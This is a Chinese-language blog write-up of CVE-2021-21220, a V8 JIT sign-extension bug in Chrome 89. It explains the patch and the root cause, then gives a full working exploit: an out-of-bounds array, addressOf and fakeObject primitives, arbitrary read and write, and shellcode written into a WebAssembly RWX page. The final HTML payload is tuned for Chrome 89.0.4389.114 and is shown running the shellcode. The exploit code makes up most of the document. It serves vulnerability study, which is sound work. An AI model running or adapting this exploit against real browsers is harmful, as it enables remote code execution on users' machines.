CVE-2021-21220
这是一个在今年的 pwn2own 的比赛上披露的漏洞,可以通过 v8 引擎实现任意代码执行,前天看到腾讯玄武实验室推送了 two-birds-with-one-stone-an-introduction-to-v8-and-jit-exploitation 这篇文章,介绍了这个漏洞的成因。漏洞本身是 jit 引擎在选择机器指令时,对 x86 平台下有符号拓展和无符号拓展指令的选择有误造成的,总体来说比较好理解,感觉比较适合作为 v8 jit 利用入门。参考这篇文章和谷歌归档的 exp,我也完成了利用。这里记录一下。本人也只是刚刚开始摸索浏览器相关的利用,肯定有不对的地方,欢迎指出。
信息搜集
在 Chromium bug entry 中,可以看到受影响的 chrome 版本为 89.0.4389.114
,通过这个网站提供的工具我们可以搜索出对应的 commit
编译复现环境
那么我们首先先编译一个对应版本的 d8 出来
git checkout 09ecd88ef275f6c66605218a0ffb72123ea3b5e1
gclient sync -D
事实上,基本上用不到源码级别的分析,所以可以编译 release 版本提高调试体验
tools/dev/v8gen.py x64.release
为了在 release 版本中使用 job 命令,需要在生成的 out.gn/x64.release/args.gn
中追加
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
然后
ninja -C out.gn/x64.release
即可。
分析漏洞
首先可以看一下 fix
diff --git a/src/compiler/backend/x64/instruction-selector-x64.cc b/src/compiler/backend/x64/instruction-selector-x64.cc
index 39cd9b1..d17dd28 100644
--- a/src/compiler/backend/x64/instruction-selector-x64.cc
+++ b/src/compiler/backend/x64/instruction-selector-x64.cc
@@ -1376,7 +1376,9 @@
opcode = load_rep.IsSigned() ? kX64Movsxwq : kX64Movzxwq;
break;
case MachineRepresentation::kWord32:
- opcode = load_rep.IsSigned() ? kX64Movsxlq : kX64Movl;
+ // ChangeInt32ToInt64 must interpret its input as a _signed_ 32-bit
+ // integer, so here we must sign-extend the loaded value in any case.
+ opcode = kX64Movsxlq;
break;
default:
UNREACHABLE();
从注释和该段代码所在的函数的函数名可以推测出这里是在选择从 int32 向 int64 时应该使用的机器指令。修复前是根据操作数本身是否为有符号数决定的。如果原来的操作数是 uint32,则使用无符号拓展(mov),如果是 int32 则使用有符号拓展(movsx)。两者在操作数小于 0x80000000(符号位不为 1,即作为 uint32 和 int32 都不是负数的情况)时没有任何区别;然而,如果对一个符号位为一的 int32,也就是一个负的 int32 执行无符号拓展,拓展的高 32 位全部都会置为 0,拓展后的 int64 就会变成正数,显然不对。也就是说 int32 拓展成 int64 时必须使用 movsx。
从操作名称可以看出,此操作接受的所有参数都应该是 int32,所以可以假设这里的 load_rep.IsSigned()
始终为 1,opcode 始终会是 kX64Movsxlq,也就是有符号拓展,所以这里这样选择也不会出错。
但是,这个假设是不成立的,我们可以通过一些方法实现传入 uint32。对于解释器来说传入的 uint32 应该被对待为 int32,也就是实现的效果应该是
(int64)((int32) uint32_val)
但是 turbofan 编译后实现的效果变成了
(int64) ((uint64) uint32_val)
解释器将转换出一个负数,优化后的代码将转换出正数。
触发
那么如何做到传入 uint32 呢,我们来看这样一个 poc
// poc.js
var arr = new Uint32Array([0x80000000]);
function trig() {
return (arr[0] ^ 0) + 1;
}
%PrepareFunctionForOptimization(trig);
console.log(trig());
%OptimizeFunctionOnNextCall(trig);
console.log(trig());
添加 --allow-natives-syntax
参数,执行之后会有这样的结果
可以看到优化之后的执行结果和优化前的结果不同。
原理
那么为什么要构造 (arr[0] ^ 0) + 1
这么一个奇怪的表达式呢,我们可以先用 turbolizer 看一下,由于和类型相关,先看一下 typer
截取了其中的一部分,可以看到,SpeculativeNumberBitwiseXor
操作就是执行 b[0] ^ 0
了,其返回的类型为 signed32,传入的则是 0 和 unsigned32(TypedArray 指定了类型为 Uint32)。异或后的结果是直接“强制类型转换”成 signed32 的。好像挺奇怪,但是标准正是这样规定的。
然后,在 EarlyOptimization 之后,就会被优化成这样
可以看到,xor 操作直接没了,取而代之的是 LoadTypedElement,也就是 b[0],其类型为 Uint32,该参数会传递给 ChangeInt32ToInt64
,这样就实现了之前说到的向该函数传入 Uint32 类型的参数。
为什么会有这样神奇的优化出现呢,我们可以看一下源码。在优化的 EarlyOptimizationPhase
,会注册许多 reducer 对 sea-of-nodes 图进行修剪
struct EarlyOptimizationPhase {
DECL_PIPELINE_PHASE_CONSTANTS(EarlyOptimization)
void Run(PipelineData* data, Zone* temp_zone) {
GraphReducer graph_reducer(temp_zone, data->graph(),
&data->info()->tick_counter(), data->broker(),
data->jsgraph()->Dead());
DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
data->common(), temp_zone);
SimplifiedOperatorReducer simple_reducer(&graph_reducer, data->jsgraph(),
data->broker());
RedundancyElimination redundancy_elimination(&graph_reducer, temp_zone);
ValueNumberingReducer value_numbering(temp_zone, data->graph()->zone());
MachineOperatorReducer machine_reducer(&graph_reducer, data->jsgraph());
CommonOperatorReducer common_reducer(&graph_reducer, data->graph(),
data->broker(), data->common(),
data->machine(), temp_zone);
AddReducer(data, &graph_reducer, &dead_code_elimination);
AddReducer(data, &graph_reducer, &simple_reducer);
AddReducer(data, &graph_reducer, &redundancy_elimination);
AddReducer(data, &graph_reducer, &machine_reducer);
AddReducer(data, &graph_reducer, &common_reducer);
AddReducer(data, &graph_reducer, &value_numbering);
graph_reducer.ReduceGraph();
}
};
这里的 machine_reducer
(类型为 MachineOperatorReducer
)会对一些 nodes 的操作进行修剪,其中就包括异或这个操作。相关的代码为
template <typename WordNAdapter>
Reduction MachineOperatorReducer::ReduceWordNXor(Node* node) {
using A = WordNAdapter;
A a(this);
typename A::IntNBinopMatcher m(node);
if (m.right().Is(0)) return Replace(m.left().node()); // x ^ 0 => x
if (m.IsFoldable()) { // K ^ K => K (K stands for arbitrary constants)
return a.ReplaceIntN(m.left().ResolvedValue() ^ m.right().ResolvedValue());
}
if (m.LeftEqualsRight()) return ReplaceInt32(0); // x ^ x => 0
if (A::IsWordNXor(m.left()) && m.right().Is(-1)) {
typename A::IntNBinopMatcher mleft(m.left().node());
if (mleft.right().Is(-1)) { // (x ^ -1) ^ -1 => x
return Replace(mleft.left().node());
}
}
return a.TryMatchWordNRor(node);
}
Reduction MachineOperatorReducer::ReduceWord32Xor(Node* node) {
DCHECK_EQ(IrOpcode::kWord32Xor, node->opcode());
return ReduceWordNXor<Word32Adapter>(node);
}
Reduction MachineOperatorReducer::ReduceWord64Xor(Node* node) {
DCHECK_EQ(IrOpcode::kWord64Xor, node->opcode());
return ReduceWordNXor<Word64Adapter>(node);
}
这里的代码还挺好理解的,不管是 64 位 int 还是 32 位 int,都通过 ReduceWordNXor
函数来优化,针对三种情况进行了优化,我们这里主要关注 x ^ 0 => x
这个 case。由于任何数异或零都会得到自身,所以可以去除这个异或操作,直接用 x 替换。原先的异或操作的返回类型为 int32,但是这里替换之后的类型就变成了 uint32 了,传入 ChangeInt32ToInt64
时就出现问题了。
由于 ChangeInt32ToInt64
后,对 (b[0] ^ 0)
进行了无符号拓展,所以优化后的代码就会返回一个正数了。
同时我们可以看到,ReduceWordNOr
ReduceWord32Sar
中也有类似的处理,所以也可以类似地触发。
利用
利用就是构造出 oob 数组,然后构造 addressOf 和 fakeObject 原语,向 wasm 模块中的 rwx 内存段写 shellcode 执行这样一个常见套路了,后面的套路纵使我这样的浏览器小白也不觉得有什么难,主要还是难在构造 oob 数组。
oob
我也不懂,参照现成的 exp,抄了个 poc
// oob.js
var b = new Uint32Array([0x80000000]);
var glob = {};
function make_oob(doit) {
let bad = (b[0] ^ 0) + 1;
let i = Math.max((Math.max(bad, 0) - 0x7FFFFFFF), 0) >> 1; // expect: 0, actual: 1
glob[i] = 1;
if (!doit) {
// make sure this function can work fine after opted
i = -1;
}
let size = Math.sign(i); // expect: size = 0 or -1, actual: 1
size = Math.sign(i) < 0 ? 0 : size;
let oob = new Array(size);
oob.shift();
return oob;
}
%PrepareFunctionForOptimization(make_oob);
make_oob(0);
%OptimizeFunctionOnNextCall(make_oob);
let oob_arr = make_oob(1);
%DebugPrint(oob_arr);
放到 turbolizer 里面看一下,先看一下 EarlyTrimming 生成的图,先关注 JSCreateArray
注意这里的 Phi[kRepTagged],他存储了 size 这个变量的值,之后还会看到。
然后到 SimplifiedLowering 的时候,操作已经被优化成这样了
可见这里是直接用常数来申请数组的空间的。
然后我们再把关注点放在 ArrayShift 上,和他相关的点非常多,但是只要关注控制节点就行了
隐藏掉一些无关节点,这里的流程就是这样,注意这里的 Phi[kRepWord32]
,之前提到他存了 size 的值,这里解释器分析出该变量的取值为 Range(-1, 0)(我们知道实际上是会变成 1 的),然后判断是否能够执行 Shift 操作,只要 size 大于 1 就会执行了。
总结一下,解释器认为,size 的值一定会是 0 或 -1,所以给 Array 申请的空间大小是固定的。但是后面又根据 size 的值判断了能不能 shift,还是由于解释器认为 size 一定会是 0 或 -1,所以这个操作是安全的。但是实际上我们可以做到让 size 变成 1,此时就会对一个 size 为 0 的 array 执行 shift,size - 1 后变为一个大正数就可以实现 oob 了。
// todo: 关于 i 的 side-effct
之后的利用
oob 之后就是一般的套路,只是要注意一下这个版本编译出来的 d8 是开启了指针压缩的(也就是只保存地址的低 32 位),调试算偏移的时候注意一下就行了
// gadgets
var buffer = new ArrayBuffer(8);
var float64_arr = new Float64Array(buffer);
var uint64_arr = new BigUint64Array(buffer);
var i2f = (uint64) => {
uint64_arr[0] = uint64;
return float64_arr[0];
}
var f2i = (float64) => {
float64_arr[0] = float64;
return uint64_arr[0];
}
var b = new Uint32Array([0x80000000]);
var glob = {};
function make_oob(doit) {
let bad = (b[0] ^ 0) + 1;
let i = Math.max((Math.max(bad, 0) - 0x7FFFFFFF), 0) >> 1; // expect: 0, actual: 1
glob[i] = 1;
if (!doit) {
// make sure this function can work fine after opted
i = -1;
}
let size = i; // expect: size = 0 or -1
size = i < 0 ? 0 : size; // expect size = 0
let oob = new Array(size);
oob.shift();
return oob;
}
for (i = 0; i < 200000; i++) {
make_oob(false);
}
oob_arr = make_oob(1);
var float_arr = [1.1, 1.2, 1.3, 1.4];
var float_arr2 = [2.1, 2.2, 2.3, 2.4];
var int_arr = [1, 2, 3, 4];
var object_arr = [{}, {}, {}, {}];
var leak_object_arr = [2.1, 2.2, 2.3, 2.4];
oob_arr[0x1A] = 0x1000;
oob_arr[0x50] = 0x1000;
console.log(float_arr.length)
console.log(object_arr.length);
var float_map = f2i(float_arr[9]) & 0xFFFFFFFFn;
console.log("PACKED_DOUBLE_ELEMENTS map: 0x" + float_map.toString(16));
var object_map = f2i(float_arr[23]) & 0xFFFFFFFFn;
console.log("PACKED_ELEMENTS map: 0x" + object_map.toString(16));
//%DebugPrint(float_arr);
var addressOf = (obj) => {
object_arr[0x1D * 2] = obj;
return f2i(leak_object_arr[0]);
}
var fakeObject = (addr) => {
float_arr[0x1B] = i2f(addr);
return object_arr[0];
}
var rw_tool = [
// map
i2f(float_map),
i2f(0x00000008BEEFDEADn),
1.1,
1.2
];
var rw_tool_addr = addressOf(rw_tool) & 0xFFFFFFFFn;
var arbitary_rw_tool = fakeObject(rw_tool_addr + 0x20n);
console.log("rw_tool addr: 0x" + rw_tool_addr.toString(16));
var read64 = (address) => {
rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n);
return f2i(arbitary_rw_tool[0]);
}
var write64 = (address, val) => {
rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n);
arbitary_rw_tool[0] = i2f(val);
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
addr_f = addressOf(f) & 0xFFFFFFFFn;
console.log(f());
console.log("[+] f_addr: 0x" + addr_f.toString(16));
var shared_info_addr = (read64(addr_f - 1n + 0x8n) & 0xFFFFFFFF00000000n) >> 32n;
console.log("[+] shared_info_addr: 0x" + shared_info_addr.toString(16));
var data_addr = (read64(shared_info_addr -1n) & 0xFFFFFFFF00000000n) >> 32n;
console.log("[+] data_addr: 0x" + data_addr.toString(16));
var instance_addr = read64(data_addr -1n + 0x8n) & 0xFFFFFFFFn;
console.log("[+] instance_addr: 0x" + instance_addr.toString(16));
var rwx_addr = read64(instance_addr - 1n + 0x68n);
console.log("[+] rwx_addr: 0x" + rwx_addr.toString(16));
var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
];
var dvbuff = new ArrayBuffer(sc_arr.length * 8);
var dvbuff_addr = addressOf(dvbuff) & 0xFFFFFFFn;
console.log("[+] dvbuff addr: 0x" + dvbuff_addr.toString(16));
write64(dvbuff_addr - 1n - 0xcn + 0x20n, rwx_addr);
var dv = new DataView(dvbuff);
for (let i = 0; i < sc_arr.length; i++) {
dv.setFloat64(i * 8, i2f(sc_arr[i]), true);
}
f();
通过 d8 运行之后就可以弹出计算器了。
chrome 的调试
到这就结束了?怎么可能!既然是真实的漏洞,那必然得 pwn 掉对应版本的 release 浏览器啦。遗憾的是上面的 exp 不能直接打通,需要微调偏移,这就需要对 chrome 进行调试,请教了一下 @小语 老师,得知是可以直接 gdb attach 上去调的。同时 %DebugPrint
方法也可以使用,只是只会打出对象地址,但是这对我们修改偏移也足够了。
首先,chrome 可以使用 --js-flags
参数来指定 js 的参数,通过该参数我们可以设定 --allow-natives-syntax
来支持 %DebugPrint
等方法。然后指定了 --user-data-dir
后就会再终端输出相关的信息了。举个例子,我们可以这样启动 chrome
./chrome --js-flags="--allow-natives-syntax" --no-sandbox --user-data-dir="/tmp/chrome"
如果我想算 oob_arr 和 float_arr 的偏移,那么就可以在 exp 中加入
...
%DebugPrint(float_arr);
%DebugPrint(oob_arr);
%SystemBreak();
...
然后把该 html 拖到浏览器里面,这个时候会报 SIGTRAP 的错误
所以我们需要用一个调试器 attach 上去。
浏览器就那么放着,开终端执行 ps afx
,找到 chrome 的 --type=renderer
的进程
即图片中黄框内的进程,然后 attach 到他的父进程即可(图中红框内),这里父进程的 pid 为 313030,所以使用 sudo gdb -p 313030
进行 attach。attach 上后用 c
继续执行即可,然后刷新页面即可断下
转到启动 chrome 的终端里面,也可以看到 DebugPrint 出来的地址信息
针对 google-chrome-stable_deb_rpm_89.0.4389.114
中的浏览器我改了下偏移,最后的 html 为
<script>
// gadgets
var buffer = new ArrayBuffer(8);
var float64_arr = new Float64Array(buffer);
var uint64_arr = new BigUint64Array(buffer);
var i2f = (uint64) => {
uint64_arr[0] = uint64;
return float64_arr[0];
}
var f2i = (float64) => {
float64_arr[0] = float64;
return uint64_arr[0];
}
var b = new Uint32Array([0x80000000]);
var glob = {};
function make_oob(doit) {
let bad = (b[0] ^ 0) + 1;
let i = Math.max((Math.max(bad, 0) - 0x7FFFFFFF), 0) >> 1; // expect: 0, actual: 1
glob[i] = 1;
if (!doit) {
// make sure this function can work fine after opted
i = -1;
}
let size = i; // expect: size = 0 or -1
size = i < 0 ? 0 : size; // expect size = 0
let oob = new Array(size);
oob.shift();
return oob;
}
for (i = 0; i < 200000; i++) {
make_oob(false);
}
oob_arr = make_oob(1);
var float_arr = [i2f(0x1337DEADBEEFn), 1.2, 1.3, 1.4];
var float_arr2 = [2.1, 2.2, 2.3, 2.4];
var int_arr = [1, 2, 3, 4];
var object_arr = [{}, {}, {}, {}];
var leak_object_arr = [2.1, 2.2, 2.3, 2.4];
oob_arr[40] = 0x1000;
console.log(float_arr.length)
oob_arr[98] = 0x1000;
console.log(object_arr.length);
var float_map = f2i(float_arr[11]) & 0xFFFFFFFFn;
console.log("PACKED_DOUBLE_ELEMENTS map: 0x" + float_map.toString(16));
var object_map = f2i(float_arr[25]) & 0xFFFFFFFFn;
console.log("PACKED_ELEMENTS map: 0x" + object_map.toString(16));
var addressOf = (obj) => {
object_arr[0x1D * 2] = obj;
return f2i(leak_object_arr[0]);
}
var fakeObject = (addr) => {
float_arr[29] = i2f(addr);
return object_arr[0];
}
var rw_tool = [
// map
i2f(float_map),
i2f(0x00000008BEEFDEADn),
1.1,
1.2
];
var rw_tool_addr = addressOf(rw_tool) & 0xFFFFFFFFn;
console.log("rw_tool addr: 0x" + rw_tool_addr.toString(16));
var arbitary_rw_tool = fakeObject(rw_tool_addr + 0x20n);
var read64 = (address) => {
rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n);
return f2i(arbitary_rw_tool[0]);
}
var write64 = (address, val) => {
rw_tool[1] = i2f((address | 0x0000000200000000n) - 0x8n + 1n);
arbitary_rw_tool[0] = i2f(val);
}
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
addr_f = addressOf(f) & 0xFFFFFFFFn;
console.log(f());
console.log("[+] f_addr: 0x" + addr_f.toString(16));
var shared_info_addr = (read64(addr_f - 1n + 0x8n) & 0xFFFFFFFF00000000n) >> 32n;
console.log("[+] shared_info_addr: 0x" + shared_info_addr.toString(16));
var data_addr = (read64(shared_info_addr - 1n) & 0xFFFFFFFF00000000n) >> 32n;
console.log("[+] data_addr: 0x" + data_addr.toString(16));
var instance_addr = read64(data_addr - 1n + 0x8n) & 0xFFFFFFFFn;
console.log("[+] instance_addr: 0x" + instance_addr.toString(16));
var rwx_addr = read64(instance_addr - 1n + 0x68n);
console.log("[+] rwx_addr: 0x" + rwx_addr.toString(16));
var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
];
var dvbuff = new ArrayBuffer(sc_arr.length * 8);
var dvbuff_addr = addressOf(dvbuff) & 0xFFFFFFFn;
console.log("[+] dvbuff addr: 0x" + dvbuff_addr.toString(16));
write64(dvbuff_addr - 1n - 0xcn + 0x20n, rwx_addr);
var dv = new DataView(dvbuff);
for (let i = 0; i < sc_arr.length; i++) {
dv.setFloat64(i * 8, i2f(sc_arr[i]), true);
}
f();
</script>
用 –no-sandbox 参数启动 chrome,拖入 html,即可弹出计算器
attachment
chrome_linux64_stable_89.0.4389.114
reference
TWO BIRDS WITH ONE STONE: AN INTRODUCTION TO V8 AND JIT EXPLOITATION